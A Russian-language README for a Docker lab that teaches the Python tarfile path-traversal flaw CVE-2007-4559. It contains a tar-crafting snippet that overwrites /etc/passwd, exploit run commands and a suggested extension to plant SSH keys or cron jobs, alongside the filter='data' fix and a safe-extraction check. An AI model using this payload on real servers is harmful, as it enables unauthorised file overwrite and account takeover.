Автономная лаборатория Docker, демонстрирующая обход каталогов CVE-2007-4559 (TarSlip) через модуль tarfile Python. Включает уязвимые и исправленные API, генерацию полезной нагрузки и интерактивный демонстрационный скрипт для обучения безопасности.
Только для образовательных целей. Эта лаборатория намеренно эксплуатирует уязвимости файловой системы в изолированных Docker-контейнерах. Не запускайте в системах с конфиденциальными данными или в производственных средах.
Автономная Docker-лаборатория, демонстрирующая CVE-2007-4559 — печально известную уязвимость «TarSlip» в модуле Python tarfile — через полную цепочку атак «от начала до конца»:
extractall() слепо записывает запись tar с именем ../../../etc/passwd за пределами каталога распаковки, перезаписывая реальный системный файл./admin.tarfile.extractall() в Python добросовестно воспроизводит каждую запись в архиве tar, включая записи, имена которых содержат последовательности обхода каталогов . Она .
../имя записи tar : ../../../etc/passwd
каталог извлечения : /shared/uploads/a1b2c3d4/
разрешённый путь : /shared/uploads/a1b2c3d4/../../../etc/passwd
= /etc/passwd ← системный файл перезаписан
| Хронология | |
|---|---|
| 2007 | Ошибка сообщена группе безопасности Python |
| 2007 – 2022 | Отмечено как «не проблема безопасности» — tarfile «работает как задумано» |
| 2022 | Исследователи Trellix сканируют GitHub и находят более 350 000 репозиториев, вызывающих extractall() для непроверенных входных данных |
| 2022 | Публичное раскрытие. CVE-2007-4559 всплывает снова. Паника в индустрии. |
| 2023 | PEP 706 включает filter='data' в Python 3.12 — исправление в одном аргументе |
Демонстрация проходит в три этапа, каждый из которых требует нажатия клавиши для продолжения.
GET /admin → 401. Конечная точка admin существует и защищена. Злоумышленник не знает пароль.innocent.tar.gz → файлы попадают в каталог песочницы. Всё выглядит нормально.Злоумышленник создаёт tarslip_passwd.tar.gz
└─ запись: "../../../etc/passwd"
содержимое: admin:hacked:1001:... ← внедрённый пароль
│
▼
POST /upload (загрузка multipart-файла)
│
▼
extractall("/shared/uploads/{uuid}/")
разрешает "../../../etc/passwd" → /etc/passwd ← CVE-2007-4559
│
▼
GET /admin Authorization: Basic admin:hacked
│
▼
HTTP 200 — «Welcome, admin! You have full admin access.»
флаг: CVE-2007-4559{tarslip_passwd_overwrite_to_admin_rce}
Один HTTP POST. Никакой оболочки. Никакой RCE-нагрузки. Просто tar-файл.
Тот же tarball загружается в исправленный API, который передаёт filter='data' в extractall(). Python вызывает tarfile.OutsideDestinationError — обход блокируется, /etc/passwd не тронут, а /admin остаётся закрытым.
# Уязвимый — по умолчанию до Python 3.14
tar.extractall(extraction_dir)
# Исправленный — PEP 706 (Python 3.12+)
tar.extractall(extraction_dir, filter='data')
Один аргумент. Пятнадцать лет на внедрение.
Четыре сервиса в изолированной сети Docker bridge (tarslip-net). Ничего не выходит в интернет.
┌─────────────────────────────────────────────────────────┐
│ tarslip-net (bridge) │
│ │
│ ┌─────────────────┐ ┌──────────────────────────┐ │
│ │ vulnerable-api │ │ file-server │ │
│ │ python:3.11.3 │ │ nginx:alpine │ │
│ │ порт 8000 │ │ порт 8080 (хост) │ │
│ │ │ │ │ │
│ │ POST /upload │ │ Обслуживает /shared по │ │
│ │ GET /admin │ │ HTTP — визуальный про- │ │
│ │ GET /health │ │ смотр извлечённых │ │
│ └────────┬────────┘ └────────────┬─────────────┘ │
│ │ том shared-storage │ │
│ └────────────────────────────┘ │
│ │
│ ┌─────────────────┐ │
│ │ attacker │ │
│ │ python:3.12 │ (нет порта хоста — только внутренний)│
│ │ │ │
│ │ craft_malicious.py — генерирует tarball'ы │
│ │ demo.py — управляет демонстрацией │
│ └─────────────────┘ │
└─────────────────────────────────────────────────────────┘
| Сервис | Образ | Роль | Порт хоста |
|---|---|---|---|
vulnerable-api | python:3.11.3-slim | Flask API загрузки + /admin, защищённый аутентификацией через /etc/passwd | 8000 |
fixed-api | python:3.12-slim | Тот же код + USE_SAFE_EXTRACTION=true | 8000 |
file-server | nginx:alpine | Список каталогов извлечённых файлов | 8080 |
attacker | python:3.12-slim | Генератор нагрузок + драйвер демонстрации | — |
Уязвимый и исправленный API используют идентичный исходный код. Единственное отличие — переменная окружения USE_SAFE_EXTRACTION=true в исправленном контейнере, которая включает единственный аргумент filter='data'.
CVE-2007-4559-lab/
├── run_demo.sh ← начните здесь
├── docker-compose.vulnerable.yml
├── docker-compose.fixed.yml
├── vulnerable-api/
│ ├── app.py # Flask API: /upload + /admin + /health
│ ├── Dockerfile # вносит admin:s3cr3t_Adm1nPass в /etc/passwd
│ └── requirements.txt
├── file-server/
│ ├── Dockerfile
│ └── nginx.conf
└── attacker/
├── craft_malicious.py # генерирует innocent.tar.gz + tarslip_passwd.tar.gz
├── demo.py # CLI-драйвер с четырьмя режимами (craft/baseline/exploit/verify)
├── Dockerfile
└── requirements.txt
docker compose version)bashgit clone https://github.com/your-username/CVE-2007-4559-lab.git
cd CVE-2007-4559-lab
bash run_demo.sh
Скрипт полностью интерактивен. Он печатает пояснения перед каждым шагом и ждёт нажатия Enter для продолжения. Для понимания не требуется предварительных знаний Docker.
| Пауза | Показываемое описание | Действие по Enter |
|---|---|---|
| 1 | Хронология CVE, описание трёх этапов | Сборка уязвимого стека |
| 2 | Роли контейнеров, внедрённый пароль администратора | Генерация нагрузок |
| 3 | Что внутри каждого tarball'а | Этап 1 — базовый уровень |
| 4 | Почему /admin возвращает 401, как выглядит обычная распаковка | Этап 2 — эксплойт |
| 5 | Точные вычисления обхода, что перезаписывается | Переключение на исправленный стек |
| 6 | Что такое filter='data' и почему это работает | Этап 3 — проверка |
| 7 | Ключевые выводы + более общий паттерн ZipSlip | Остановка |
Если вы хотите пройти шаги вручную:
# Уязвимый стек
docker compose -f docker-compose.vulnerable.yml up --build -d
docker compose -f docker-compose.vulnerable.yml exec attacker python craft_malicious.py
docker compose -f docker-compose.vulnerable.yml exec attacker python demo.py baseline
docker compose -f docker-compose.vulnerable.yml exec attacker python demo.py exploit
# Исправленный стек
docker compose -f docker-compose.vulnerable.yml down
docker compose -f docker-compose.fixed.yml up --build -d
docker compose -f docker-compose.fixed.yml exec attacker python craft_malicious.py
docker compose -f docker-compose.fixed.yml exec attacker python demo.py verify
# Остановка
docker compose -f docker-compose.fixed.yml down
Пока уязвимый стек запущен, откройте http://localhost:8080/uploads/, чтобы в браузере просмотреть каталоги сессий с извлечёнными файлами.
/adminAPI вносит секретный пароль администратора в /etc/passwd на этапе сборки образа:
admin:s3cr3t_Adm1nPass:1001:1001:Administrator:/home/admin:/bin/bash
GET /admin читает этот файл и проверяет второе поле (пароль) на соответствие учётным данным HTTP Basic Auth. Злоумышленник не знает s3cr3t_Adm1nPass — но после того, как TarSlip перезаписывает файл его собственной версией, содержащей admin:hacked, он его узнаёт.
Это упрощённая модель реальных целей: SSH authorized_keys, конфигурационные файлы приложений, задачи cron и любые файлы учётных данных, которые может записать веб-процесс.
craft_malicious.py использует собственный модуль Python tarfile — тот самый, в котором есть ошибка:
def _add_entry(tar, name, content):
info = tarfile.TarInfo(name=name) # name — путь обхода
info.size = len(content)
tar.addfile(info, io.BytesIO(content))
# Имя записи разрешается в /etc/passwd при извлечении в /shared/uploads/{uuid}/
_add_entry(tar, "../../../etc/passwd", malicious_passwd_content)
Никаких специальных инструментов. Никакой бинарной эксплуатации. Стандартная библиотека является одновременно и оружием, и жертвой.
Python 3.12 ввёл filter= в PEP 706. Фильтр 'data':
tarfile.OutsideDestinationError при попытке обхода# До (уязвимо — по-прежнему по умолчанию до Python 3.14)
with tarfile.open(path) as tar:
tar.extractall(dest)
# После (безопасно)
with tarfile.open(path) as tar:
tar.extractall(dest, filter='data')
Для Python 3.11 и более ранних версий проверяйте вручную:
import os
def safe_extract(tar, dest):
dest = os.path.realpath(dest)
for member in tar.getmembers():
member_path = os.path.realpath(os.path.join(dest, member.name))
if not member_path.startswith(dest + os.sep):
raise ValueError(f"Небезопасный путь: {member.name}")
tar.extractall(dest)
Статический анализ: правило B202 в bandit помечает небезопасные вызовы extractall() в CI.
TarSlip — это название в Python класса уязвимостей, существующих во всех языках с API распаковки архивов:
| Язык | Уязвимый API | CVE / Рекомендация |
|---|---|---|
| Python | tarfile.extractall() | CVE-2007-4559 |
| Java | ZipInputStream | ZipSlip (2018) |
| Go | archive/zip | ZipSlip (2018) |
| .NET | ZipArchive | ZipSlip (2018) |
| Node.js | tar, adm-zip, др. | ZipSlip (2018) |
Одна и та же первопричина везде: доверие путям из непроверенных архивов. Одно и то же исправление везде: канонизировать и проверять перед записью.
Сосредоточьтесь на различии кода до/после и правиле bandit B202. Цель — «как предотвратить это в нашей кодовой базе?» — покажите руководство по миграции на PEP 706 и как добавить проверку в CI.
Сосредоточьтесь на методологии раскрытия Trellix — как они искали в GitHub в масштабе, оценивали влияние на 350 000 репозиториев и справлялись с ответственным раскрытием для такой широко распространённой уязвимости.
Расширьте craft_malicious.py, чтобы внедрить файл SSH authorized_keys или вредоносную запись cron вместо /etc/passwd. Та же техника, другие цели — показывает, что любой записываемый путь является поверхностью атаки.
MIT — используйте свободно в образовательных целях, для исследований безопасности и демонстраций на конференциях. Не используйте методы генерации нагрузок против систем, которые вам не принадлежат.